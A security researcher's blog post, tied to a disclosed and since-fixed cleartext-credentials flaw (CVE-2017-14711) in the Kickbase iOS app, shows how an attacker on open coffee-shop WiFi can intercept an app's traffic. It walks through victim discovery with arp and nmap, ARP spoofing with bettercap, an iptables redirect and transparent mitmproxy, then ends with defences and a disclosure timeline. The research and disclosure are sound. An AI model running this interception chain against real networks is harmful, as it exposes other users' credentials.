Last week, the German ZEIT ONLINE published an article about some of the work I did over the last couple of months here at Crissy Field: Checking the Top-200 free iOS games for common vulnerabilities. As it turns out, more than half of these apps are vulnerable one way or the other, mainly due to the lack of secure backend communication.
A disturbing comment I read a few times in the aftermath of the article was that an attack is mostly of a theoretical nature, as it would require the attacker to own the network. The ZEIT article itself describes potential attacks as “elaborate”, but that’s rather subjective as well. The truth is that it takes just a few minutes to set up an attack — let’s jump right in..
Let’s imagine the attacker is sitting in a coffee shop with an open WiFi network. On the other side of the room is the victim using an app with insecure backend communication. Let’s pick a real-world example that I found in my Top-200 analysis: Kickbase Bundesliga Manager uses cleartext communication to send data to its backend, including user credentials.
While not strictly necessary, the attacker usually starts off by finding the victim’s IP address. There are two common ways to achieve this; 1) passively dumping the ARP cache via
arp, or 2) actively scanning the network using
nmap. It might take a few minutes after joining the network before the ARP cache has been populated with meaningful values, so let’s see 1:
# Dump ARP cache of interface 'wlan0' in BSD style /usr/sbin/arp -i wlan0 -a # ? (172.17.100.1) at f4:0f:24:xx:xx:xx [ether] on wlan0 # potential-victims-device (172.17.100.32) at 3c:18:a0:xx:xx:xx [ether] on wlan0 # ? (172.17.100.195) at ac:bc:32:xx:xx:xx [ether] on wlan0 # other-potential-device (172.17.100.200) at 29:44:12:xx:xx:xx [ether] on wlan0 # [...]
The attacker is lucky; the list shows IPs that are likely the ones of the victim’s phone (
arp would return an empty or incomplete list, though, the attacker would have to switch to the
# First time only: install nmap sudo apt install nmap # Passive scan of all active devices nmap -sn 172.17.100.* # Starting Nmap 7.40 ( https://nmap.org ) at 2017-11-08 16:26 CET # Nmap scan report for 172.17.100.1 # Host is up (0.28s latency). # Nmap scan report for 172.17.100.32 # Host is up (0.097s latency). # [...] # Nmap done: 256 IP addresses (10 hosts up) scanned in 11.46 seconds
Once the set of IP candidates for the victim’s phone has been narrowed down, the attacker continues with the next step: making sure that the victim’s traffic reaches the attacker’s computer. In theory, the victim’s device sends its traffic directly to the network gateway. While this might involve several hops — e.g. when the WiFi access point is not the router — the attacker’s device will most likely not be on that path.
This can be changed using ARP spoofing which tricks the victim’s device into thinking that the attacker’s computer is the network gateway. While this is an ancient technique, in terms of IT history, it’s still highly effective. There are a plethora of tools for this task 2, but we are going with the excellent
bettercap. Following the official instructions to install:
# Dependencies sudo apt install build-essential ruby ruby-dev libpcap-dev # Install bettercap gem install bettercap
The attacker then launches
bettercap by passing in the list of target IPs:
sudo bettercap --target 172.17.100.32,172.17.100.200
The victim’s network traffic should be routed through the attacker’s system at this point, even though it is hard to tell. Tools like the Swiss-Army-Knife Wireshark could be used to observe the traffic, but we will use the intercepting proxy
mitmproxy instead to keep the workflow digestible. Again, we’ll get everything set up by following the official instructions:
# Download binary distribution wget https://github.com/mitmproxy/mitmproxy/releases/download/v2.0.2/mitmproxy-2.0.2-linux.tar.gz # Extract into /usr/local/bin/ tar -xf mitmproxy-2.0.2-linux.tar.gz -C /usr/local/bin/
There is one last thing the attacker needs to do: making
mitmproxy aware of the re-routed traffic from the victim’s device. By default, the tool listens to port
8080, so we have to create an
iptables ruleset that properly redirects all HTTP traffic:
# Route all TCP traffic on port 80 to port 8080 sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
Finally, the attacker can launch the proxy in transparent mode:
mitmproxy --transparent --host
Everything is set up at this point: So, what happens when the victim signs into Kickbase?
To conclude: the victim’s network traffic was re-routed through the attacker’s system with the help of ARP spoofing, where the HTTP traffic was processed by a transparent proxy. All this was achieved without the use of special hardware, without physical access to neither the victim’s device nor the network infrastructure, and the victim’s device had no visual indication about the ongoing attack. It only took the attacker a few minutes of setup and access to the same network to perform the attack.
I hope you enjoyed the post, which is actually the first in a series of three; the next post will address missing SSL verification, and the final post will talk about code injection.
Update (11/10/2017): I got asked for immediate defense strategies against ARP spoofing. This is no easy topic, and I will try to give a more complete answer to this in the final blog post of the series, but for the impatient; the Wikipedia page on ARP Spoofing has a chapter on defenses that includes links to several ARP spoofing detection tools. To me, though, this creates a false and probably dangerous sense of safety, as there are plenty of other techniques to achieve the same;
bettercap itself offers DNS spoofing and ICMP spoofing, but there’s also dedicated hardware like the WiFi Pineapple or plenty of hackable routers. To solve this problem more broadly, the network traffic has to be end-to-end secured, e.g. by using a VPN.
Bonus: Vulnerability Disclosure and History
Please note that the described vulnerability in the Kickbase app has been fixed as of version 2.2.1. Here is a full history of the vulnerability:
|09/11/2017||Found the vulnerability as part of a larger research project|
|09/12/2017||Reached out to Kickbase to learn about the disclosure process|
|09/13/2017||Sent detailed report to Kickbase|
|09/22/2017||CVE-2017-14711 got assigned to the vulnerability|
|09/22/2017||Sent reminder to Kickbase, asking for updates|
|09/28/2017||Kickbase acknowledges the bug and promises a fix|
|10/17/2017||Requested another status update|
|10/18/2017||Kickbase confirms that the vulnerability has been closed|
|10/20/2017||Verified that vulnerability no longer exists in version 2.2.1|